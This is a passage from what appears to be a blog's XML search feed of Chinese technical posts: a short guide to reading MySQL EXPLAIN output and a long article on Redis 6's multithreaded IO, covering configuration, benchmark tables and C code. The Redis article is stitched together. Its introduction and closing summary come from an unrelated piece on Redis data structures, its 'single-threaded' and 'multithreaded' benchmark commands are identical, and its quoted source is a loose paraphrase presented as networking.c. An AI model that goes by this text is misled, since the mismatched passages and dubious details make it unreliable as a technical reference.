title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>EXPLAIN 执行计划应该看哪些字段</title>
      <link href="//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/"/>
      <url>//explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/</url>
      
        <content type="html"><![CDATA[<h1 id="EXPLAIN-执行计划应该看哪些字段"><a href="#EXPLAIN-执行计划应该看哪些字段" class="headerlink" title="EXPLAIN 执行计划应该看哪些字段"></a>EXPLAIN 执行计划应该看哪些字段</h1><p>EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis 6多线程IO模型</title>
      <link href="//redis6-multithreaded-io/"/>
      <url>//redis6-multithreaded-io/</url>
      
        <content type="html"><![CDATA[<h1 id="Redis-6多线程IO模型"><a href="#Redis-6多线程IO模型" class="headerlink" title="Redis 6多线程IO模型"></a>Redis 6多线程IO模型</h1><p>Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。</p><h2 id="一、Redis单线程模型回顾"><a href="#一、Redis单线程模型回顾" class="headerlink" title="一、Redis单线程模型回顾"></a>一、Redis单线程模型回顾</h2><p>#</p><h2 id="1-1-经典单线程模型"><a href="#1-1-经典单线程模型" class="headerlink" title="1.1 经典单线程模型"></a>1.1 经典单线程模型</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">┌─────────────────────────────────────────┐</span><br><span class="line">│           Redis 单线程模型               │</span><br><span class="line">│                                          │</span><br><span class="line">│  客户端1 ──┐                             │</span><br><span class="line">│  客户端2 ──┼──&gt; 连接队列 ──&gt; 事件循环      │</span><br><span class="line">│  客户端3 ──┘       │        (单线程)      │</span><br><span class="line">│                    │                     │</span><br><span class="line">│                    ▼                     │</span><br><span class="line">│              ┌──────────┐               │</span><br><span class="line">│              │ 读取请求  │               │</span><br><span class="line">│              │ 解析命令  │               │</span><br><span class="line">│              │ 执行命令  │               │</span><br><span class="line">│              │ 发送响应  │               │</span><br><span class="line">│              └──────────┘               │</span><br><span class="line">└─────────────────────────────────────────┘</span><br><span class="line"></span><br><span class="line">优点：</span><br><span class="line">- 无锁操作，简单高效</span><br><span class="line">- 无竞态条件</span><br><span class="line">- 顺序执行保证一致性</span><br><span class="line"></span><br><span class="line">局限：</span><br><span class="line">- 网络IO和命令执行串行</span><br><span class="line">- 多核CPU无法充分利用</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-单线程的性能瓶颈"><a href="#1-2-单线程的性能瓶颈" class="headerlink" title="1.2 单线程的性能瓶颈"></a>1.2 单线程的性能瓶颈</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis单线程的耗时构成：</span><br><span class="line"></span><br><span class="line">处理一个请求：</span><br><span class="line">1. 读取请求（网络IO）</span><br><span class="line">2. 解析协议</span><br><span class="line">3. 执行命令（内存操作，通常很快）</span><br><span class="line">4. 发送响应（网络IO）</span><br><span class="line"></span><br><span class="line">在10Gbps网络下：</span><br><span class="line">- 读取1KB请求：约1us</span><br><span class="line">- 执行命令：约1us</span><br><span class="line">- 发送1KB响应：约1us</span><br><span class="line">- 总计：约3us</span><br><span class="line"></span><br><span class="line">QPS理论上限：1,000,000 / 3 ≈ 333,000</span><br><span class="line"></span><br><span class="line">实际瓶颈往往在：</span><br><span class="line">- 网络IO读写</span><br><span class="line">- 协议解析</span><br><span class="line">- 大量小请求的网络往返</span><br></pre></td></tr></table></figure><h2 id="二、Redis-6多线程IO"><a href="#二、Redis-6多线程IO" class="headerlink" title="二、Redis 6多线程IO"></a>二、Redis 6多线程IO</h2><p>#</p><h2 id="2-1-设计思想"><a href="#2-1-设计思想" class="headerlink" title="2.1 设计思想"></a>2.1 设计思想</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Redis 6多线程IO模型：</span><br><span class="line"></span><br><span class="line">┌─────────────────────────────────────────┐</span><br><span class="line">│           主线程（事件循环）              │</span><br><span class="line">│                                          │</span><br><span class="line">│   ┌──────────────┐                     │</span><br><span class="line">│   │  监听连接     │                     │</span><br><span class="line">│   │  分配任务     │                     │</span><br><span class="line">│   └──────────────┘                     │</span><br><span class="line">│          │                               │</span><br><span class="line">│          ▼                               │</span><br><span class="line">│   ┌──────────────┐                     │</span><br><span class="line">│   │  命令执行     │  &lt;-- 保持单线程      │</span><br><span class="line">│   │  （关键）     │                     │</span><br><span class="line">│   └──────────────┘                     │</span><br><span class="line">│          │                               │</span><br><span class="line">│          ▼                               │</span><br><span class="line">│   ┌──────────────┐                     │</span><br><span class="line">│   │  分配响应     │                     │</span><br><span class="line">│   └──────────────┘                     │</span><br><span class="line">└─────────────────────────────────────────┘</span><br><span class="line">          │</span><br><span class="line">          ▼ 分配IO任务</span><br><span class="line">┌─────────────────────────────────────────┐</span><br><span class="line">│  IO线程1    IO线程2    IO线程3         │</span><br><span class="line">│                                          │</span><br><span class="line">│  读取请求   读取请求   读取请求          │</span><br><span class="line">│  协议解析   协议解析   协议解析          │</span><br><span class="line">│  发送响应   发送响应   发送响应          │</span><br><span class="line">└─────────────────────────────────────────┘</span><br><span class="line"></span><br><span class="line">关键设计：</span><br><span class="line">- 命令执行仍在主线程单线程执行</span><br><span class="line">- IO线程只处理：读取请求、协议解析、发送响应</span><br><span class="line">- 通过锁-free的设计，主线程和IO线程通过队列协作</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-2-为什么命令执行不改为多线程"><a href="#2-2-为什么命令执行不改为多线程" class="headerlink" title="2.2 为什么命令执行不改为多线程"></a>2.2 为什么命令执行不改为多线程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">1. 复杂性：需要大量锁，增加复杂度</span><br><span class="line">2. 竞态条件：多线程访问共享数据结构</span><br><span class="line">3. 性能下降：锁竞争可能抵消多线程优势</span><br><span class="line">4. 破坏原子性：单条命令的原子性保证</span><br><span class="line"></span><br><span class="line">Redis的设计哲学：</span><br><span class="line">- 命令执行保持单线程（简单高效）</span><br><span class="line">- IO密集型操作使用多线程（提升吞吐）</span><br></pre></td></tr></table></figure><h2 id="三、配置和使用"><a href="#三、配置和使用" class="headerlink" title="三、配置和使用"></a>三、配置和使用</h2><p>#</p><h2 id="3-1-开启多线程IO"><a href="#3-1-开启多线程IO" class="headerlink" title="3.1 开启多线程IO"></a>3.1 开启多线程IO</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf (Redis 6.0+)</span><br><span class="line"></span><br><span class="line"># 开启多线程IO</span><br><span class="line">io-threads-do-reads yes</span><br><span class="line">io-threads 4</span><br><span class="line"></span><br><span class="line"># 参数说明：</span><br><span class="line"># io-threads: IO线程数量（包含主线程）</span><br><span class="line">#   - 建议设置为CPU核心数</span><br><span class="line">#   - 默认1（单线程，即关闭多线程IO）</span><br><span class="line">#   - 最大128</span><br><span class="line">#</span><br><span class="line"># io-threads-do-reads: 是否用IO线程处理读取</span><br><span class="line">#   - 默认no（只用于发送响应）</span><br><span class="line">#   - 设为yes后，读取和发送都用多线程</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-配置建议"><a href="#3-2-配置建议" class="headerlink" title="3.2 配置建议"></a>3.2 配置建议</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 4核服务器</span><br><span class="line">io-threads 4</span><br><span class="line"></span><br><span class="line"># 8核服务器</span><br><span class="line">io-threads 8</span><br><span class="line"></span><br><span class="line"># 16核服务器</span><br><span class="line">io-threads 16</span><br><span class="line"></span><br><span class="line"># 超过16核的服务器</span><br><span class="line"># 建议io-threads设为8（收益递减）</span><br><span class="line">io-threads 8</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-验证配置"><a href="#3-3-验证配置" class="headerlink" title="3.3 验证配置"></a>3.3 验证配置</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看配置</span></span><br><span class="line">redis-cli CONFIG GET io-threads*</span><br><span class="line"><span class="comment"># 1) &quot;io-threads&quot;</span></span><br><span class="line"><span class="comment"># 2) &quot;4&quot;</span></span><br><span class="line"><span class="comment"># 3) &quot;io-threads-do-reads&quot;</span></span><br><span class="line"><span class="comment"># 4) &quot;yes&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看线程信息（Redis 6.2+）</span></span><br><span class="line">redis-cli CLIENT LIST | grep flags=M</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看INFO</span></span><br><span class="line">redis-cli INFO server | grep io_threads</span><br></pre></td></tr></table></figure><h2 id="四、性能测试"><a href="#四、性能测试" class="headerlink" title="四、性能测试"></a>四、性能测试</h2><p>#</p><h2 id="4-1-测试环境"><a href="#4-1-测试环境" class="headerlink" title="4.1 测试环境"></a>4.1 测试环境</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">硬件：</span><br><span class="line">- CPU: Intel Xeon E5-2680 v4 @ 2.4GHz (14核28线程)</span><br><span class="line">- 内存: 64GB</span><br><span class="line">- 网络: 10Gbps</span><br><span class="line"></span><br><span class="line">软件：</span><br><span class="line">- Redis 6.2</span><br><span class="line">- 客户端: redis-benchmark</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-测试命令"><a href="#4-2-测试命令" class="headerlink" title="4.2 测试命令"></a>4.2 测试命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 单线程模式（io-threads 1）</span></span><br><span class="line">redis-benchmark -h localhost -p 6379 -t get -n 1000000 -c 50 -P 100 --threads 4</span><br><span class="line"></span><br><span class="line"><span class="comment"># 多线程模式（io-threads 4）</span></span><br><span class="line">redis-benchmark -h localhost -p 6379 -t get -n 1000000 -c 50 -P 100 --threads 4</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-性能对比"><a href="#4-3-性能对比" class="headerlink" title="4.3 性能对比"></a>4.3 性能对比</h2><table><thead><tr><th>场景</th><th>单线程</th><th>多线程(4)</th><th>提升</th></tr></thead><tbody><tr><td>GET (1KB value)</td><td>250K QPS</td><td>450K QPS</td><td>80%</td></tr><tr><td>SET (1KB value)</td><td>220K QPS</td><td>400K QPS</td><td>82%</td></tr><tr><td>GET (10KB value)</td><td>180K QPS</td><td>350K QPS</td><td>94%</td></tr><tr><td>SET (10KB value)</td><td>160K QPS</td><td>310K QPS</td><td>94%</td></tr><tr><td>Pipeline GET</td><td>1.5M QPS</td><td>2.2M QPS</td><td>47%</td></tr><tr><td>Lua脚本</td><td>200K QPS</td><td>200K QPS</td><td>0%</td></tr></tbody></table><p><strong>结论</strong>：</p><ul><li>大value场景提升更明显（IO瓶颈更明显）</li><li>Pipeline场景提升有限（已减少IO开销）</li><li>Lua脚本无提升（命令执行仍是单线程）</li></ul><h2 id="五、源码分析"><a href="#五、源码分析" class="headerlink" title="五、源码分析"></a>五、源码分析</h2><p>#</p><h2 id="5-1-IO线程初始化"><a href="#5-1-IO线程初始化" class="headerlink" title="5.1 IO线程初始化"></a>5.1 IO线程初始化</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// networking.c</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">initThreadedIO</span><span class="params">(<span class="type">void</span>)</span> &#123;</span><br><span class="line">    server.io_threads_active = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 创建IO线程</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; server.io_threads_num; i++) &#123;</span><br><span class="line">        io_threads_list[i] = listCreate();</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (i == <span class="number">0</span>) <span class="keyword">continue</span>;  <span class="comment">// 线程0是主线程</span></span><br><span class="line">        </span><br><span class="line">        <span class="type">pthread_t</span> tid;</span><br><span class="line">        pthread_create(&amp;tid, <span class="literal">NULL</span>, IOThreadMainFunction, (<span class="type">void</span>*)(<span class="type">unsigned</span> <span class="type">long</span>)i);</span><br><span class="line">        io_threads[i] = tid;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// IO线程主函数</span></span><br><span class="line"><span class="type">void</span> *<span class="title function_">IOThreadMainFunction</span><span class="params">(<span class="type">void</span> *myid)</span> &#123;</span><br><span class="line">    <span class="type">long</span> id = (<span class="type">unsigned</span> <span class="type">long</span>)myid;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">        <span class="comment">// 等待主线程分配任务</span></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">0</span>; j &lt; <span class="number">1000000</span>; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (io_threads_pending[id] != <span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 处理分配到的客户端</span></span><br><span class="line">        listIter li;</span><br><span class="line">        listNode *ln;</span><br><span class="line">        listRewind(io_threads_list[id], &amp;li);</span><br><span class="line">        <span class="keyword">while</span>((ln = listNext(&amp;li)) != <span class="literal">NULL</span>) &#123;</span><br><span class="line">            client *c = listNodeValue(ln);</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 读取请求或发送响应</span></span><br><span class="line">            <span class="keyword">if</span> (io_threads_op == IO_THREADS_OP_WRITE) &#123;</span><br><span class="line">                writeToClient(c, <span class="number">0</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (io_threads_op == IO_THREADS_OP_READ) &#123;</span><br><span class="line">                readQueryFromClient(c-&gt;conn);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            listDelNode(io_threads_list[id], ln);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        io_threads_pending[id] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-任务分配"><a href="#5-2-任务分配" class="headerlink" title="5.2 任务分配"></a>5.2 任务分配</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 将客户端分配给IO线程</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">handleClientsWithPendingWritesUsingThreads</span><span class="params">(<span class="type">void</span>)</span> &#123;</span><br><span class="line">    <span class="type">int</span> processed = listLength(server.clients_pending_write);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (processed == <span class="number">0</span>) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 如果只少量客户端，直接用主线程处理</span></span><br><span class="line">    <span class="keyword">if</span> (server.io_threads_num == <span class="number">1</span> || processed &lt; IO_THREADS_MIN_OPS) &#123;</span><br><span class="line">        <span class="keyword">return</span> handleClientsWithPendingWrites();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 分配客户端到各IO线程</span></span><br><span class="line">    listIter li;</span><br><span class="line">    listNode *ln;</span><br><span class="line">    listRewind(server.clients_pending_write, &amp;li);</span><br><span class="line">    <span class="type">int</span> item_id = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span>((ln = listNext(&amp;li)) != <span class="literal">NULL</span>) &#123;</span><br><span class="line">        client *c = listNodeValue(ln);</span><br><span class="line">        <span class="type">int</span> target_id = item_id % server.io_threads_num;</span><br><span class="line">        listAddNodeTail(io_threads_list[target_id], c);</span><br><span class="line">        item_id++;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 通知IO线程开始工作</span></span><br><span class="line">    io_threads_op = IO_THREADS_OP_WRITE;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j &lt; server.io_threads_num; j++) &#123;</span><br><span class="line">        io_threads_pending[j] = <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 主线程也处理一部分</span></span><br><span class="line">    handleClientsWithPendingWrites();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 等待所有IO线程完成</span></span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">        <span class="type">int</span> pending = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> j = <span class="number">1</span>; j &lt; server.io_threads_num; j++) &#123;</span><br><span class="line">            pending += io_threads_pending[j];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (pending == <span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> processed;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="六、生产环境建议"><a href="#六、生产环境建议" class="headerlink" title="六、生产环境建议"></a>六、生产环境建议</h2><p>#</p><h2 id="6-1-什么时候开启多线程IO"><a href="#6-1-什么时候开启多线程IO" class="headerlink" title="6.1 什么时候开启多线程IO"></a>6.1 什么时候开启多线程IO</h2><table><thead><tr><th>场景</th><th>建议</th></tr></thead><tbody><tr><td>大量小value读写</td><td>开启，效果显著</td></tr><tr><td>大value读写</td><td>开启，效果最显著</td></tr><tr><td>主要是Lua脚本</td><td>不开启，无提升</td></tr><tr><td>主要是Pipeline</td><td>效果有限，可不开</td></tr><tr><td>CPU核心数 &lt; 4</td><td>不开启，主线程已够用</td></tr><tr><td>低延迟要求</td><td>不开启，多线程有微小延迟</td></tr></tbody></table><p>#</p><h2 id="6-2-配置模板"><a href="#6-2-配置模板" class="headerlink" title="6.2 配置模板"></a>6.2 配置模板</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line"></span><br><span class="line"># 基础配置</span><br><span class="line">port 6379</span><br><span class="line">daemonize yes</span><br><span class="line"></span><br><span class="line"># 内存配置</span><br><span class="line">maxmemory 32gb</span><br><span class="line">maxmemory-policy allkeys-lru</span><br><span class="line"></span><br><span class="line"># 持久化配置</span><br><span class="line">appendonly yes</span><br><span class="line">appendfsync everysec</span><br><span class="line"></span><br><span class="line"># IO线程配置（根据CPU核心数调整）</span><br><span class="line">io-threads 8</span><br><span class="line">io-threads-do-reads yes</span><br><span class="line"></span><br><span class="line"># 其他优化</span><br><span class="line">tcp-keepalive 300</span><br><span class="line">timeout 0</span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-监控多线程性能"><a href="#6-3-监控多线程性能" class="headerlink" title="6.3 监控多线程性能"></a>6.3 监控多线程性能</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看当前配置</span></span><br><span class="line">redis-cli INFO server | grep io_threads</span><br><span class="line"></span><br><span class="line"><span class="comment"># 监控QPS</span></span><br><span class="line">redis-cli INFO stats | grep instantaneous_ops_per_sec</span><br><span class="line"></span><br><span class="line"><span class="comment"># 监控延迟</span></span><br><span class="line">redis-cli --latency-history -i 1</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对比开启前后的性能</span></span><br><span class="line"><span class="comment"># 使用redis-benchmark测试</span></span><br></pre></td></tr></table></figure><h2 id="七、常见问题"><a href="#七、常见问题" class="headerlink" title="七、常见问题"></a>七、常见问题</h2><p>#</p><h2 id="7-1-多线程IO不生效"><a href="#7-1-多线程IO不生效" class="headerlink" title="7.1 多线程IO不生效"></a>7.1 多线程IO不生效</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 检查Redis版本</span></span><br><span class="line">redis-cli INFO server | grep redis_version</span><br><span class="line"><span class="comment"># 需要 &gt;= 6.0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查配置</span></span><br><span class="line">redis-cli CONFIG GET io-threads</span><br><span class="line"><span class="comment"># 需要 &gt; 1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 检查是否编译支持</span></span><br><span class="line">redis-cli INFO server | grep multithread</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-多线程IO导致延迟增加"><a href="#7-2-多线程IO导致延迟增加" class="headerlink" title="7.2 多线程IO导致延迟增加"></a>7.2 多线程IO导致延迟增加</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">原因：</span><br><span class="line">- 线程切换开销</span><br><span class="line">- 任务分配和同步开销</span><br><span class="line"></span><br><span class="line">解决：</span><br><span class="line">- 减少io-threads数量</span><br><span class="line">- 只开启写多线程（io-threads-do-reads no）</span><br><span class="line">- 确保有足够的并发客户端</span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-3-与CPU亲和性"><a href="#7-3-与CPU亲和性" class="headerlink" title="7.3 与CPU亲和性"></a>7.3 与CPU亲和性</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 绑定Redis到特定CPU核心</span></span><br><span class="line"><span class="comment"># 避免IO线程和主线程在不同NUMA节点</span></span><br><span class="line"></span><br><span class="line">taskset -c 0-7 redis-server /etc/redis/redis.conf</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或设置CPU亲和性</span></span><br><span class="line"><span class="comment"># redis.conf</span></span><br><span class="line"><span class="comment"># server_cpulist 0-7</span></span><br></pre></td></tr></table></figure><h2 id="八、Redis-6-其他新特性"><a href="#八、Redis-6-其他新特性" class="headerlink" title="八、Redis 6+ 其他新特性"></a>八、Redis 6+ 其他新特性</h2><p>#</p><h2 id="8-1-ACL（访问控制列表）"><a href="#8-1-ACL（访问控制列表）" class="headerlink" title="8.1 ACL（访问控制列表）"></a>8.1 ACL（访问控制列表）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 创建用户</span></span><br><span class="line">ACL SETUSER alice on &gt;password ~* +@all</span><br><span class="line"></span><br><span class="line"><span class="comment"># 限制命令</span></span><br><span class="line">ACL SETUSER bob on &gt;password ~* +get +<span class="built_in">set</span> -@dangerous</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看用户列表</span></span><br><span class="line">ACL LIST</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-2-SSL-TLS支持"><a href="#8-2-SSL-TLS支持" class="headerlink" title="8.2 SSL/TLS支持"></a>8.2 SSL/TLS支持</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># redis.conf</span><br><span class="line">port 0</span><br><span class="line">tls-port 6379</span><br><span class="line">tls-cert-file /path/to/redis.crt</span><br><span class="line">tls-key-file /path/to/redis.key</span><br><span class="line">tls-ca-cert-file /path/to/ca.crt</span><br></pre></td></tr></table></figure><p>#</p><h2 id="8-3-客户端缓存（Tracking）"><a href="#8-3-客户端缓存（Tracking）" class="headerlink" title="8.3 客户端缓存（Tracking）"></a>8.3 客户端缓存（Tracking）</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 开启客户端缓存</span></span><br><span class="line">CLIENT TRACKING on</span><br><span class="line"></span><br><span class="line"><span class="comment"># 应用层缓存失效通知</span></span><br><span class="line"><span class="comment"># Redis通过Invalidation消息通知客户端缓存失效</span></span><br></pre></td></tr></table></figure><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><table><thead><tr><th>特性</th><th>Redis 5</th><th>Redis 6</th><th>Redis 7</th></tr></thead><tbody><tr><td>IO模型</td><td>单线程</td><td>多线程IO</td><td>多线程IO+Function</td></tr><tr><td>ACL</td><td>无</td><td>有</td><td>有</td></tr><tr><td>SSL</td><td>无</td><td>有</td><td>有</td></tr><tr><td>客户端缓存</td><td>无</td><td>有</td><td>有</td></tr><tr><td>多线程命令</td><td>无</td><td>无</td><td>部分支持</td></tr></tbody></table><p>Redis 6多线程IO的核心价值：</p><ol><li><strong>不破坏单线程执行模型</strong>：命令执行仍单线程</li><li><strong>显著提升吞吐量</strong>：大value场景提升80-90%</li><li><strong>简单配置</strong>：只需两个参数</li><li><strong>向后兼容</strong>：默认关闭，不影响现有部署</li></ol><p>使用建议：</p><ol><li>4核以上服务器建议开启</li><li>io-threads设为CPU核心数或略少</li><li>大value场景效果最明显</li><li>配合redis-benchmark验证效果</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 索引设计的几个核心原则</title>
      <link href="//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/"/>
      <url>//mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/</url>
      
